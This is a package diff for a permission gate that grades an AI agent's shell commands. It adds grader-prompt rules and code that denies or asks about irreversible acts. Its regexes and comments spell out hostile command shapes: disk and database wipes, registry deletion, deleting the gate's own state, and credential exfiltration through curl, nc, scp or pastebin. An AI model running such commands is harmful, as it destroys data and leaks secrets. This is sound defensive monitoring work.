dsh-perm-gate 5.1.2-compat.7 → 5.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,32 @@
1
+ /**
2
+ * The grading rules shared by every grader in this plugin.
3
+ *
4
+ * `classifier.ts` and `risk.ts` are two protocols over the same transport, and
5
+ * their rule text was duplicated between them with different wording — one said
6
+ * "clearly safe" and "exfiltration-adjacent", the other carried the reversible
7
+ * exclusion list. A call could therefore be graded against two different
8
+ * standards depending on which path asked, which is how a local read
9
+ * (`cat .env`) ends up denied by one grader and allowed by the other.
10
+ *
11
+ * This module holds the rules once. Both protocols prepend their own output
12
+ * shape (three-way verdict vs safe/risky + category) and append these.
13
+ *
14
+ * It stays dependency-free so it can be imported from either half.
15
+ */
16
+ /**
17
+ * The substantive grading rules, in the order both graders should present them.
18
+ *
19
+ * Kept deliberately terse and measured: grading latency is prefill-dominated, and
20
+ * the first draft of these rules cost +42ms of p50 (gate: <= +20ms). What the
21
+ * runtime now enforces deterministically is not repeated here — the opaque-payload
22
+ * veto in `runtime.ts` refuses `safe` even when the grader grants it, so prose
23
+ * begging the model not to guess safe would only cost tokens. Rules below stay
24
+ * only where they change a judgement the code cannot make.
25
+ *
26
+ * Redundant restatements were merged once the whole prompt was re-measured at
27
+ * +36ms: the deletion list is one line instead of four, the read-only remote rule
28
+ * is one line instead of three. Same judgements, fewer tokens to read.
29
+ */
30
+ export declare const GRADER_RULES: readonly string[];
31
+ /** Join the shared rules into prompt text. */
32
+ export declare function graderRulesText(): string;
@@ -0,0 +1,48 @@
1
+ /**
2
+ * The grading rules shared by every grader in this plugin.
3
+ *
4
+ * `classifier.ts` and `risk.ts` are two protocols over the same transport, and
5
+ * their rule text was duplicated between them with different wording — one said
6
+ * "clearly safe" and "exfiltration-adjacent", the other carried the reversible
7
+ * exclusion list. A call could therefore be graded against two different
8
+ * standards depending on which path asked, which is how a local read
9
+ * (`cat .env`) ends up denied by one grader and allowed by the other.
10
+ *
11
+ * This module holds the rules once. Both protocols prepend their own output
12
+ * shape (three-way verdict vs safe/risky + category) and append these.
13
+ *
14
+ * It stays dependency-free so it can be imported from either half.
15
+ */
16
+ /**
17
+ * The substantive grading rules, in the order both graders should present them.
18
+ *
19
+ * Kept deliberately terse and measured: grading latency is prefill-dominated, and
20
+ * the first draft of these rules cost +42ms of p50 (gate: <= +20ms). What the
21
+ * runtime now enforces deterministically is not repeated here — the opaque-payload
22
+ * veto in `runtime.ts` refuses `safe` even when the grader grants it, so prose
23
+ * begging the model not to guess safe would only cost tokens. Rules below stay
24
+ * only where they change a judgement the code cannot make.
25
+ *
26
+ * Redundant restatements were merged once the whole prompt was re-measured at
27
+ * +36ms: the deletion list is one line instead of four, the read-only remote rule
28
+ * is one line instead of three. Same judgements, fewer tokens to read.
29
+ */
30
+ export const GRADER_RULES = [
31
+ 'Rules:',
32
+ '- safe is only for reversible, in-scope operations that touch no sensitive resource.',
33
+ '- When unsure between safe and neutral, answer neutral; never guess safe.',
34
+ '- Judge the operation content, not merely its location.',
35
+ '- "inside the workspace" is judged against workspace_root; if it is absent, treat the scope as unknown, not as inside.',
36
+ '- An encoded or unreadable payload is unknown, not proven safe.',
37
+ '',
38
+ 'DELETION exclusion rules (these override the deletion category):',
39
+ '- Cleanup of temporary files, build outputs, session-local artifacts, or failed clone directories is SAFE even via rm/rmdir/Remove-Item — temp paths ("temp", "tmp", "test-clone"), and node_modules, .next, __pycache__, .pytest_cache, .cache, .git, dist, build are always regenerable.',
40
+ '- Only flag as deletion when the target is: (a) user data with no backup, (b) configuration files, (c) database records, (d) files outside the workspace that were not created by this session, or (e) a destructive rm -rf on a directory containing unique, irreplaceable content.',
41
+ '',
42
+ 'READ-ONLY remote operations are safe: git fetch, git pull, git clone, git log, git diff, git status, git show, npm install (read-only), pip install (read-only), apt-get update, curl/wget (read, no write flag). Only flag as remote when the operation WRITES, DEPLOYS, PUSHES, or DELETES on the remote side.',
43
+ '- Reading a local credential is not itself the act; flag it only when its content leaves this machine.',
44
+ ];
45
+ /** Join the shared rules into prompt text. */
46
+ export function graderRulesText() {
47
+ return GRADER_RULES.join('\n');
48
+ }
package/lib/index.js CHANGED
@@ -396,6 +396,11 @@ export function apply(ctx, config = {}) {
396
396
  toolName: req.toolName,
397
397
  ...(req.callId !== undefined ? { callId: req.callId } : {}),
398
398
  reason: req.reason,
399
+ // Host-sanctioned presentation field (`ApprovalRequestEvent.displayReason`):
400
+ // read by the answerer UI, deliberately not written to the audit pair. The
401
+ // service persists only id/toolName/callId/reason, so forwarding it costs
402
+ // nothing on hosts that ignore it.
403
+ ...(req.displayReason !== undefined ? { displayReason: req.displayReason } : {}),
399
404
  ...(req.signal !== undefined ? { signal: req.signal } : {}),
400
405
  });
401
406
  return APPROVAL_OUTCOMES.has(String(outcome))
@@ -0,0 +1,54 @@
1
+ /**
2
+ * The single definition of "this act cannot be undone".
3
+ *
4
+ * Irreversibility was previously encoded twice — once as P0's wipe-utility list
5
+ * in `engine.ts`, once as the `I` tier grading in `ask-context.ts`. Two copies of
6
+ * one fact drift: the tier could call something irreversible while the deny layer
7
+ * had never heard of it (exactly the state `Optimize-VHD` was in: no rule knew it,
8
+ * no graded model hard-denied it). This module owns the knowledge; P0 uses it to
9
+ * deny and the context uses it to label, so they cannot disagree.
10
+ *
11
+ * Shape constraint that keeps the sharing safe: every function here returns
12
+ * `string | undefined` — a reason or "not mine to decide". It is structurally
13
+ * incapable of producing an allow, so importing it cannot widen the gate.
14
+ *
15
+ * Callers that deny must pass only deterministic input: the command as received
16
+ * plus **executed** decoded variants (`command-normalize.ts`), never a blob that
17
+ * merely happens to decode to something alarming.
18
+ */
19
+ import type { SimpleCommand } from './shell.js';
20
+ /** Storage-wipe utilities with no benign reading worth preserving. */
21
+ export declare const WIPE_UTILITIES: ReadonlySet<string>;
22
+ /**
23
+ * Why one piece of text is irreversible, or undefined when it is not.
24
+ *
25
+ * `executed` gates the credential rule: a path quoted inside a commit message is
26
+ * not a secret leaving the machine, while the same text run through `curl` is.
27
+ *
28
+ * `program` says the caller already knows the executable (it came from the shell
29
+ * parser). When it is given, that name — not a position guess over text whose
30
+ * quotes were stripped — decides which program is running, and `inline` carries
31
+ * the script bodies of an interpreter (`bash -c "…"`), which really are nested
32
+ * command lines and are still scanned by position.
33
+ */
34
+ export declare function irreversibleReason(text: string, opts?: {
35
+ readonly executed?: boolean;
36
+ readonly program?: string;
37
+ readonly inline?: readonly string[];
38
+ readonly extraPrograms?: readonly string[];
39
+ }): string | undefined;
40
+ export declare function commandIrreversibleReason(cmd: SimpleCommand): string | undefined;
41
+ /**
42
+ * Unrecoverable acts that are **not** P0 material: the call must be asked and
43
+ * must never be cleared automatically or learned away, but the human keeps the
44
+ * decision. Returns a reason or "not mine to decide" — the same shape constraint
45
+ * as {@link irreversibleReason}, so no caller can turn it into an allow.
46
+ *
47
+ * Two families qualify. `docker volume rm` destroys data for good yet is routine
48
+ * maintenance, so an unappealable deny is the wrong layer. The two exfil shapes
49
+ * below are only *invisible to the per-segment deny layer* (a pipeline splits the
50
+ * secret from the upload), which the whole-call view can see — and because the
51
+ * same words in a commit message are ordinary text, they earn a permanent ask
52
+ * rather than a permanent refusal.
53
+ */
54
+ export declare function neverClearReason(text: string): string | undefined;
@@ -0,0 +1,376 @@
1
+ /** Storage-wipe utilities with no benign reading worth preserving. */
2
+ export const WIPE_UTILITIES = new Set([
3
+ 'diskpart', 'optimize-vhd', 'clear-disk', 'initialize-disk', 'set-disk',
4
+ 'remove-vhd', 'mount-disk', 'mkfs', 'fdisk', 'sdelete',
5
+ ]);
6
+ const RECURSE_FLAG = /-(?:Recurse|rf|fr|r)\b/i;
7
+ const FORCE_FLAG = /-(?:Force|rf|fr|f)\b/i;
8
+ /** Command-initial position: string start, a separator, or just after a quote/paren. `{1,}` so two-letter programs (`rm`, `dd`) qualify. */
9
+ const PROGRAM_POSITION = /(?:^|[;&|\n]|&&|\|\||["'(])\s*["']?\s*([A-Za-z][A-Za-z0-9_-]{1,})/g;
10
+ /** Bare drive root `C:\`, `d:/`, and the JSON-escaped doubles. */
11
+ const DRIVE_ROOT = /^[a-z]:[\\/]{0,2}$/i;
12
+ const FS_ROOT = /^\/+$/;
13
+ const WIN_SYSTEM = /^([a-z]:[\\/]{1,2})?(Windows|WinSxS|System32|Program Files(?: \(x86\))?)([\\/].*)?$/i;
14
+ const WIN_USERS = /^([a-z]:[\\/]{1,2}|[\\/])?Users([\\/][^\\/]+([\\/](Documents|Desktop|Downloads))?)?[\\/]*$/i;
15
+ const NIX_SYSTEM = /^\/{1,2}(?:etc|usr|var|opt|home|root|bin|sbin|boot|srv)(?:\/{1,2}.*)?$/i;
16
+ /**
17
+ * The same Windows roots with separators removed.
18
+ *
19
+ * `decomposeShellCommand` strips `\` from unquoted arguments before any rule
20
+ * runs, so `Remove-Item -Recurse -Force C:\Windows\System32` reaches this module
21
+ * as the token `C:WindowsSystem32`. A rule that demands a separator therefore
22
+ * misses the most common Windows wipe in real traffic (measured, not assumed).
23
+ * The flattened form is only accepted when it starts with a drive letter: that
24
+ * keeps `Remove-Item -Recurse -Force users` (a directory in the repo) out while
25
+ * `C:\Users` still qualifies. The tail class excludes `.` and `_` so a file name
26
+ * like `windows_setup.iso` / `windows11.iso` cannot read as a root.
27
+ */
28
+ const FLAT_DRIVE_ROOT = /^[a-z]:(?:windows|winsxs|system32|syswow64|programfiles(?:\(x86\))?|users|perflogs|recovery|boot)(?:[a-z0-9 ()+-]*)$/i;
29
+ /**
30
+ * Destructive argument shapes, only meaningful next to their program.
31
+ *
32
+ * Nothing here is a free-text pattern. An earlier version matched a word
33
+ * alternation over the whole command, which hard-denied
34
+ * `git commit -m "fix diskpart handling"` — P0 is not appealable, so a name that
35
+ * merely *appears* in someone's message must never trigger it. Every rule below
36
+ * requires the program to sit at a command position first, and treats the rest as
37
+ * that program's arguments.
38
+ */
39
+ const SHADOW_DELETE = /\bdelete\s+shadows\b/i;
40
+ const CIPHER_WIPE = /[\s/"'-]w[:\s"]/i;
41
+ const DRIVE_FORMAT = /\s[a-z]:\b/i;
42
+ const RAW_DEVICE_WRITE = /\bof=\/dev\//i;
43
+ /**
44
+ * Destructive SQL, but only as an argument of a database client.
45
+ *
46
+ * The phrase alone is not enough: it also appears in commit messages, docs and
47
+ * migration filenames, and P0 cannot be appealed. Requiring `psql`/`mysql`/… at a
48
+ * command position keeps `git commit -m "document the drop database incident"`
49
+ * allowed while `psql -c "DROP DATABASE orders_prod"` is denied.
50
+ *
51
+ * The motor shapes (`db.dropDatabase()`, `_delete_by_query`, `dropdb --force`) are
52
+ * measured misses: the mongo/elastic/dropdb spellings are the same act as
53
+ * `DROP DATABASE` and none of them was recognised, so an always-cooperative grader
54
+ * cleared them.
55
+ */
56
+ const DB_CLIENTS = new Set([
57
+ 'psql', 'mysql', 'mariadb', 'sqlcmd', 'sqlite3', 'mongosh', 'mongo', 'redis-cli',
58
+ 'dropdb', 'clickhouse-client', 'obclient', 'sqsh', 'gsql', 'mongodump', 'mongorestore',
59
+ ]);
60
+ const DESTRUCTIVE_SQL = /\b(drop\s+(?:database|table|schema)|truncate\s+table|flushall|delete\s+from\s+\w+\s*;?\s*$|db\.dropdatabase|_delete_by_query|dropdb\b)\b/i;
61
+ /**
62
+ * Data-purging API calls driven through an HTTP client.
63
+ *
64
+ * `curl -X POST "http://es.prod:9200/orders/_delete_by_query"` is a table wipe
65
+ * with no `psql` in sight, so the client gate above cannot see it. Requiring an
66
+ * HTTP verb next to the endpoint name keeps it specific: a commit message or a doc
67
+ * that merely mentions `_delete_by_query` has no `-X POST` and stays allowed.
68
+ */
69
+ const HTTP_CLIENT = new Set(['curl', 'wget', 'http', 'https', 'invoke-webrequest', 'invoke-restmethod']);
70
+ const DESTRUCTIVE_API = /(?:_delete_by_query|_delete_by_reindex|db\.dropdatabase|\bflushall\b)/i;
71
+ /**
72
+ * Registry destruction and the gate's own state, reached through a manager command.
73
+ *
74
+ * These need an argument-shape match rather than a program name alone: `docker`
75
+ * and `reg` are perfectly ordinary otherwise, and the gate's own state directory
76
+ * is the one path whose deletion cannot be undone by re-running anything — it
77
+ * silently un-does every decision the gate has learned.
78
+ */
79
+ /** `HKLM\SYSTEM` / `HKEY_LOCAL_MACHINE\SYSTEM` (and user hives) under `reg delete`. */
80
+ // No separator in the pattern and no trailing word boundary: the shell parser
81
+ // strips `\` before this runs, so `HKLM\SYSTEM\CurrentControlSet\…` arrives as
82
+ // `HKLMSYSTEMCurrentControlSet…`. A `\b` after `system` used to miss every real
83
+ // subkey delete — which is the whole shape of the attack (`reg delete
84
+ // HKLM\SYSTEM\…\Lsa\FipsAlgorithmPolicy /f`), while the bare `HKLM\SYSTEM` it did
85
+ // match is not a thing anyone runs.
86
+ const REGISTRY_DESTROY = /\breg\s+delete\b[^\n]*\b(?:hklm|hkey_local_machine|hku|hkey_users)[\\/]?system/i;
87
+ /** Any delete verb aimed at the gate's own durable state (approvals, grants, audit). */
88
+ const OWN_STATE_PATH = /(?:~|\$env:USERPROFILE|\\Users\\[^\\]+)\\?\/\.dsh|\.dsh[\\/]taskboard/i;
89
+ /**
90
+ * Volume destruction a legitimate operator also runs on purpose.
91
+ *
92
+ * `docker volume rm` / `system prune --volumes` throw away anonymous volumes with
93
+ * no recovery path, yet they are routine maintenance and the eval set grades them
94
+ * `ask`, not `deny`. So they get the **deterministic ask that never learns**
95
+ * instead of P0: no model can clear them and no run of confirmations can sediment
96
+ * them, but a human always gets to decide. P0 would be unappealable, which for a
97
+ * command people run weekly is the wrong layer (`engine.ts` deny = no appeal).
98
+ */
99
+ const VOLUME_DESTROY = /\bdocker\s+volume\s+rm\b|\bdocker\s+system\s+prune\b[^\n]*--volumes|\bdocker\s+compose\s+down\b[^\n]*(?:^|\s)-v(?=\s|$)|\bdocker\s+rm\b[^\n]*(?:^|\s)-v(?=\s|$)/i;
100
+ /** Programs that start a command here: string start, after a separator, or after an opening quote. */
101
+ function programsIn(text) {
102
+ const names = [];
103
+ for (const seg of segments(text)) {
104
+ PROGRAM_POSITION.lastIndex = 0;
105
+ let m = PROGRAM_POSITION.exec(seg);
106
+ while (m !== null) {
107
+ const name = (m[1] ?? '').toLowerCase().replace(/\.exe$/, '');
108
+ if (name !== '')
109
+ names.push(name);
110
+ m = PROGRAM_POSITION.exec(seg);
111
+ }
112
+ }
113
+ return names;
114
+ }
115
+ /**
116
+ * Concrete credential material, paired with an outbound channel = the secret is
117
+ * gone.
118
+ *
119
+ * Deliberately specific. This predicate now feeds P0, which cannot be appealed,
120
+ * so a loose term like a bare `credential` would hard-deny ordinary work (a
121
+ * commit message about a credential helper, a doc with a URL in it) — the exact
122
+ * over-block this plugin has already recorded twice. Only artifacts that are
123
+ * secrets in themselves qualify.
124
+ */
125
+ const SECRET_SOURCE = /(?:\bid_(?:rsa|ed25519|ecdsa|dsa)\b|\.ssh[\\/]|\.npmrc\b|\.netrc\b|\.git-credentials\b|[\\/"]\.env\b|cookies?\.db\b|User Data[^\s"]*Cookies|aws_secret_access_key|BEGIN (?:RSA |OPENSSH |EC )?PRIVATE KEY|credential\.(?:helper|store)\b)/i;
126
+ const OUTBOUND = /(?:\bcurl\b|\bwget\b|Invoke-WebRequest|Invoke-RestMethod|\bscp\b|\brsync\b|\bnc\b\b|ncat|pastebin\.com|webhook\.site|requestbin|\bterraform\s+destroy\b|\bnpm\s+publish\b|https?:\/\/[^\s"']+)/i;
127
+ /**
128
+ * A dot-env file named bare, and a verb that puts file contents on stdout.
129
+ *
130
+ * `adv_047` (`Get-Content .env -Raw | … | curl -d @- https://pastebin…`) reads the
131
+ * secret as a bare ` .env` token, which the path-shaped deny list above cannot
132
+ * see, and the pipeline splits it into segments so no segment carries both halves.
133
+ * That is handled at the *ask* level, never as P0: `git commit -m "fix .env
134
+ * loading, see https://docs.example"` mentions a file and a URL in one message and
135
+ * must stay allowed, since P0 cannot be appealed.
136
+ */
137
+ const BARE_ENV_FILE = /(?:^|[\s"'`(/])\.env(?![.\w])/i;
138
+ const SECRET_READER = /\b(?:get-content|cat|type|more|head|tail|base64|openssl|tar|zip|dd)\b/i;
139
+ /**
140
+ * Secret material the deny list does not carry, and the channels that push it out.
141
+ *
142
+ * Measured misses, all of them real eval cases: `gh auth token | curl -d @- …`,
143
+ * `scp -r ~/.dsh host:/tmp/exfil`, `tar czf - ~/.dsh | nc …`, and the Chrome
144
+ * cookie DB. The gate's own state directory counts as a secret because it holds
145
+ * the audit trail and every learned approval — uploading it leaks the whole
146
+ * decision history in one shot.
147
+ *
148
+ * Deliberately **ask-level, not P0**: the same words in a commit message are
149
+ * ordinary text, and a bare `https://` is in most benign commands, so the channel
150
+ * has to be an actual upload verb rather than any URL.
151
+ */
152
+ const OTHER_SECRET_SOURCE = /(?:\bgh\s+auth\s+token\b|\bprintenv\b|\.dsh\b|user data[^\n]{0,40}cookies?\b|\baws\s+configure\s+get\b)/i;
153
+ const UPLOAD_CHANNEL = /\bscp\b|\brsync\b|\bnc\b|\bncat\b|webhook\.site|pastebin\.com|requestbin|curl\s+[^\n]*(?:-t\b|--data|-d\s+@|--upload|-x\s+post)|invoke-webrequest[^\n]*-method\s+post/i;
154
+ /**
155
+ * Secret material copied into a staging location. No network involved, and the
156
+ * consequence is the same: `Copy-Item "…\Chrome\User Data\Default\Cookies" C:\temp\c.db`
157
+ * puts a browser session store somewhere any local process (or any later upload)
158
+ * can read. Ask-level: the same verb over ordinary files is everyday work.
159
+ */
160
+ const COPY_VERB = /\b(?:copy-item|xcopy|copy|cp)\b/i;
161
+ const STAGING_DIR = /(?:temp|tmp|public|inetpub|wwwroot|downloads|shares?)/i;
162
+ /** Sweep the machine for keys, write the hits out, upload them (`adv_049`). */
163
+ const SECRET_HARVEST = /\b(?:grep|rg|findstr|select-string)\b[^\n]*sk-[^\n]*\b(?:curl|wget|scp|rsync|nc|ncat|Invoke-WebRequest|Invoke-RestMethod)\b/i;
164
+ /**
165
+ * A function body that wipes, invoked with an argument (`adv_014`).
166
+ *
167
+ * `function scrub($p){ Remove-Item -Recurse -Force $p }; scrub "C:\Windows"` is a
168
+ * real wipe whose target only materialises at runtime. Nothing static can name
169
+ * the consequence, so the shape is marked never-clear — the honest outcome for an
170
+ * unreadable indirection is a permanent ask, not a guessed `safe`.
171
+ */
172
+ const WIPE_IN_BODY = /\b(?:function|filter)\s+[\w-]+\s*\([^)]*\)\s*\{[^}]*(?:remove-item|\brm\b|\bdel\b|rmdir)[^}]*-(?:recurse|force|rf|fr|s)\b/i;
173
+ /** A target whose wipe cannot be undone. */
174
+ function isRootish(token) {
175
+ const t = token.trim();
176
+ if (t === '')
177
+ return false;
178
+ if (t === '--no-preserve-root' || t.endsWith('--no-preserve-root'))
179
+ return true;
180
+ return DRIVE_ROOT.test(t) || FS_ROOT.test(t) || WIN_SYSTEM.test(t) || WIN_USERS.test(t) || NIX_SYSTEM.test(t)
181
+ || FLAT_DRIVE_ROOT.test(t.replace(/[\\/]+/g, ''));
182
+ }
183
+ /**
184
+ * Forced recursive deletion aimed at a root or system tree.
185
+ *
186
+ * Verb, flags and target are checked independently, and the verb must sit at a
187
+ * command position: `Remove-Item -Path C:\ -Recurse -Force` and
188
+ * `Remove-Item -Recurse -Force C:\` are the same act and both appear in real
189
+ * traffic, while `git commit -m "rm -rf /"` is a message about a command, not the
190
+ * command — and P0 cannot be appealed after the fact.
191
+ */
192
+ function forcedDeleteOfRoot(text, programs) {
193
+ const deletes = programs.some((p) => /^(?:remove-item|rmdir|rm|del|erase|unlink|shred)$/.test(p));
194
+ if (!deletes || !RECURSE_FLAG.test(text) || !FORCE_FLAG.test(text))
195
+ return false;
196
+ return text.split(/[\s"',;`]+/).some(isRootish);
197
+ }
198
+ /**
199
+ * Segments of a command line, so `git status; … ; Clear-Disk …` is judged per command.
200
+ *
201
+ * Splitting respects quotes. `Select-String -Pattern "vssadmin|cipher|diskpart"` is
202
+ * a *value*: cutting it at the `|` characters put `diskpart` at a segment start, the
203
+ * position test read it as a program, and an unappealable P0 deny came out of a
204
+ * search pattern (measured, and quoted arguments arrive here with their quotes
205
+ * already stripped, which is why the structured form below is used instead).
206
+ */
207
+ function segments(text) {
208
+ const out = [];
209
+ let current = '';
210
+ let quote = '';
211
+ for (const ch of text) {
212
+ if (quote !== '') {
213
+ current += ch;
214
+ if (ch === quote)
215
+ quote = '';
216
+ continue;
217
+ }
218
+ if (ch === '"' || ch === "'") {
219
+ quote = ch;
220
+ current += ch;
221
+ continue;
222
+ }
223
+ if (ch === ';' || ch === '|' || ch === '&' || ch === '\n') {
224
+ if (current.trim() !== '')
225
+ out.push(current.trim());
226
+ current = '';
227
+ continue;
228
+ }
229
+ current += ch;
230
+ }
231
+ if (current.trim() !== '')
232
+ out.push(current.trim());
233
+ return out;
234
+ }
235
+ /**
236
+ * Why one piece of text is irreversible, or undefined when it is not.
237
+ *
238
+ * `executed` gates the credential rule: a path quoted inside a commit message is
239
+ * not a secret leaving the machine, while the same text run through `curl` is.
240
+ *
241
+ * `program` says the caller already knows the executable (it came from the shell
242
+ * parser). When it is given, that name — not a position guess over text whose
243
+ * quotes were stripped — decides which program is running, and `inline` carries
244
+ * the script bodies of an interpreter (`bash -c "…"`), which really are nested
245
+ * command lines and are still scanned by position.
246
+ */
247
+ export function irreversibleReason(text, opts = {}) {
248
+ if (typeof text !== 'string' || text.trim() === '')
249
+ return undefined;
250
+ const executed = opts.executed ?? true;
251
+ const programs = opts.program !== undefined
252
+ ? [
253
+ opts.program.toLowerCase().replace(/\.exe$/, ''),
254
+ ...(opts.extraPrograms ?? []),
255
+ ...((opts.inline ?? []).flatMap((body) => programsIn(body))),
256
+ ]
257
+ : programsIn(text);
258
+ const isWipeProgram = (name) => programs.some((p) => p === name || p.split('.')[0] === name);
259
+ for (const name of programs) {
260
+ // `mkfs.ext4` / `mkfs.xfs` carry the filesystem suffix.
261
+ if (WIPE_UTILITIES.has(name) || WIPE_UTILITIES.has(name.split('.')[0] ?? '')) {
262
+ return `${name} performs an unrecoverable storage/volume operation`;
263
+ }
264
+ }
265
+ if (isWipeProgram('format') && DRIVE_FORMAT.test(text))
266
+ return 'format wipes a volume';
267
+ if (isWipeProgram('dd') && RAW_DEVICE_WRITE.test(text))
268
+ return 'dd overwrites a raw device';
269
+ if (isWipeProgram('vssadmin') && SHADOW_DELETE.test(text)) {
270
+ return 'vssadmin deletes all shadow copies (the last local backup, and a ransomware precursor)';
271
+ }
272
+ if (isWipeProgram('cipher') && CIPHER_WIPE.test(text)) {
273
+ return 'cipher /w overwrites free space, destroying any recoverable deletion';
274
+ }
275
+ if (forcedDeleteOfRoot(text, programs))
276
+ return 'forced recursive deletion targets a system root';
277
+ // Deleting the gate's own state directory is unrecoverable and disarms the gate:
278
+ // no recurse flag required, because the WAL/journal files are the point.
279
+ if (programs.some((p) => /^(?:remove-item|rmdir|rm|del|erase|unlink|shred)$/.test(p)) && OWN_STATE_PATH.test(text)) {
280
+ return 'deletes the permission gate\u2019s own durable state (~/.dsh)';
281
+ }
282
+ if (programs.includes('reg') && REGISTRY_DESTROY.test(text))
283
+ return 'deletes a machine-wide registry hive';
284
+ if (programs.some((p) => DB_CLIENTS.has(p)) && DESTRUCTIVE_SQL.test(text)) {
285
+ return 'destructive SQL is sent to a database server';
286
+ }
287
+ if (programs.some((p) => HTTP_CLIENT.has(p)) && DESTRUCTIVE_API.test(text) && /(?:-x\s+post|--data|-d\s+@|-method\s+post|\bpost\b)/i.test(text)) {
288
+ return 'a data-purging API call is sent to a server';
289
+ }
290
+ if (executed && SECRET_SOURCE.test(text) && OUTBOUND.test(text))
291
+ return 'credential material is sent outside this machine';
292
+ return undefined;
293
+ }
294
+ /**
295
+ * Same question, asked of one decomposed command.
296
+ *
297
+ * The parser hands us the executable, so use it: everything after it is an
298
+ * argument *value*, and a wipe utility merely appearing inside a search pattern or
299
+ * a message is data, not an act. Interpreter bodies are the exception — they are
300
+ * nested command lines, so those (and only those) get the position scan.
301
+ */
302
+ const INTERPRETERS = new Set([
303
+ 'bash', 'sh', 'zsh', 'dash', 'cmd', 'pwsh', 'powershell', 'node', 'npx', 'deno', 'python', 'python3', 'ruby', 'perl',
304
+ ]);
305
+ /**
306
+ * Programs introduced by a chain operator that survives the parser.
307
+ *
308
+ * `decomposeShellCommand` does not split `git status; … ; Clear-Disk …` — it hands
309
+ * back one command whose argument list contains the separators *between* elements
310
+ * (`status;`, then `Write-Output`, then `cleaning;`, then `Clear-Disk`). The
311
+ * boundary is therefore visible only between args, never inside one, which is
312
+ * exactly the distinction that matters: `Select-String -Pattern "vssadmin|cipher|diskpart"`
313
+ * keeps its `|` characters *inside a single argument* — that is a value, and
314
+ * reading it as a pipeline is what produced an unappealable deny for a search
315
+ * pattern.
316
+ */
317
+ function chainedPrograms(args) {
318
+ const names = [];
319
+ for (let i = 0; i + 1 < args.length; i += 1) {
320
+ const tail = (args[i] ?? '').trimEnd();
321
+ const boundary = tail.slice(-1);
322
+ if (boundary !== ';' && boundary !== '|' && boundary !== '&')
323
+ continue;
324
+ const head = (args[i + 1] ?? '').trim().replace(/^["'`]+/, '').split(/\s/)[0] ?? '';
325
+ const name = head.toLowerCase().replace(/\.exe$/, '');
326
+ if (name !== '')
327
+ names.push(name);
328
+ }
329
+ return names;
330
+ }
331
+ export function commandIrreversibleReason(cmd) {
332
+ const name = cmd.command.toLowerCase().replace(/\.exe$/, '');
333
+ const inline = INTERPRETERS.has(name)
334
+ ? cmd.args.filter((a) => /\s/.test(a) || /[;&|]/.test(a))
335
+ : [];
336
+ return irreversibleReason([cmd.command, ...cmd.args].join(' '), {
337
+ program: name,
338
+ inline,
339
+ extraPrograms: chainedPrograms(cmd.args),
340
+ });
341
+ }
342
+ /**
343
+ * Unrecoverable acts that are **not** P0 material: the call must be asked and
344
+ * must never be cleared automatically or learned away, but the human keeps the
345
+ * decision. Returns a reason or "not mine to decide" — the same shape constraint
346
+ * as {@link irreversibleReason}, so no caller can turn it into an allow.
347
+ *
348
+ * Two families qualify. `docker volume rm` destroys data for good yet is routine
349
+ * maintenance, so an unappealable deny is the wrong layer. The two exfil shapes
350
+ * below are only *invisible to the per-segment deny layer* (a pipeline splits the
351
+ * secret from the upload), which the whole-call view can see — and because the
352
+ * same words in a commit message are ordinary text, they earn a permanent ask
353
+ * rather than a permanent refusal.
354
+ */
355
+ export function neverClearReason(text) {
356
+ if (typeof text !== 'string' || text.trim() === '')
357
+ return undefined;
358
+ const programs = programsIn(text);
359
+ if (programs.includes('docker') && VOLUME_DESTROY.test(text)) {
360
+ return 'docker destroys container volumes that cannot be recovered';
361
+ }
362
+ if (OUTBOUND.test(text) && BARE_ENV_FILE.test(text) && SECRET_READER.test(text)) {
363
+ return 'a dot-env file is read and sent off this machine';
364
+ }
365
+ if (UPLOAD_CHANNEL.test(text) && OTHER_SECRET_SOURCE.test(text)) {
366
+ return 'credential material is pushed off this machine';
367
+ }
368
+ if (COPY_VERB.test(text) && OTHER_SECRET_SOURCE.test(text) && STAGING_DIR.test(text)) {
369
+ return 'credential material is copied into a staging location';
370
+ }
371
+ if (SECRET_HARVEST.test(text))
372
+ return 'keys are swept off this machine and uploaded';
373
+ if (WIPE_IN_BODY.test(text))
374
+ return 'a wipe is hidden behind a function body expanded at runtime';
375
+ return undefined;
376
+ }
@@ -16,6 +16,15 @@ import type { CommandParser, CommandSemantics } from '../command-semantics.js';
16
16
  export declare class ShellDangerousParser implements CommandParser {
17
17
  readonly name = "shell-dangerous";
18
18
  readonly priority = 20;
19
+ /**
20
+ * Level for a base name, tolerating the tool-suffix spelling real calls use.
21
+ *
22
+ * The table stores `mkfs`, the command on the wire is `mkfs.ext4` — so a plain
23
+ * lookup gave a format-the-disk Level 1 while the pattern route still flagged the
24
+ * command, leaving the two halves of this parser disagreeing about the same call
25
+ * (`irreversible.ts` already matches on the dotted prefix; now the parser does too).
26
+ */
27
+ private levelOf;
19
28
  canParse(command: string): boolean;
20
29
  parse(command: string): CommandSemantics | null;
21
30
  private extractBaseName;
@@ -12,7 +12,19 @@
12
12
  * - format disk operations
13
13
  * - PowerShell Remove-Item with dangerous patterns
14
14
  */
15
- /** Commands that are inherently destructive (only dangerous ones trigger canParse) */
15
+ /**
16
+ * Commands that are inherently destructive (only dangerous ones trigger canParse).
17
+ *
18
+ * The Windows storage/volume cmdlets are here because the ones listed are Level 5
19
+ * *by name* — `Clear-Disk`, `Optimize-VHD`, `Set-Disk` have no benign reading worth
20
+ * preserving, so no argument shape is required. Arg-dependent tools are deliberately
21
+ * **not** in this table (`vssadmin`, `cipher`): they live in `DESTRUCTIVE_PATTERNS`
22
+ * below, so `vssadmin` alone does not classify as a wipe. The decision path itself
23
+ * does not read this table — irreversibility is decided once, in `irreversible.ts`,
24
+ * which both P0 and the reversibility tier consume. Keeping the parser in agreement
25
+ * is what stops it from reporting `unknown` to any future consumer (rule dimension,
26
+ * explanation view) of `destructiveness`.
27
+ */
16
28
  const DESTRUCTIVE_COMMANDS = {
17
29
  // Level 5: Extreme (system-wide, data loss)
18
30
  'dd': 5,
@@ -21,6 +33,13 @@ const DESTRUCTIVE_COMMANDS = {
21
33
  'fdisk': 5,
22
34
  'mkfs': 5,
23
35
  'rm-sudo': 5,
36
+ 'optimize-vhd': 5,
37
+ 'clear-disk': 5,
38
+ 'initialize-disk': 5,
39
+ 'set-disk': 5,
40
+ 'remove-vhd': 5,
41
+ 'mount-disk': 5,
42
+ 'sdelete': 5,
24
43
  // Level 4: High (significant file deletion/modification)
25
44
  'rm': 4,
26
45
  'rmdir': 4,
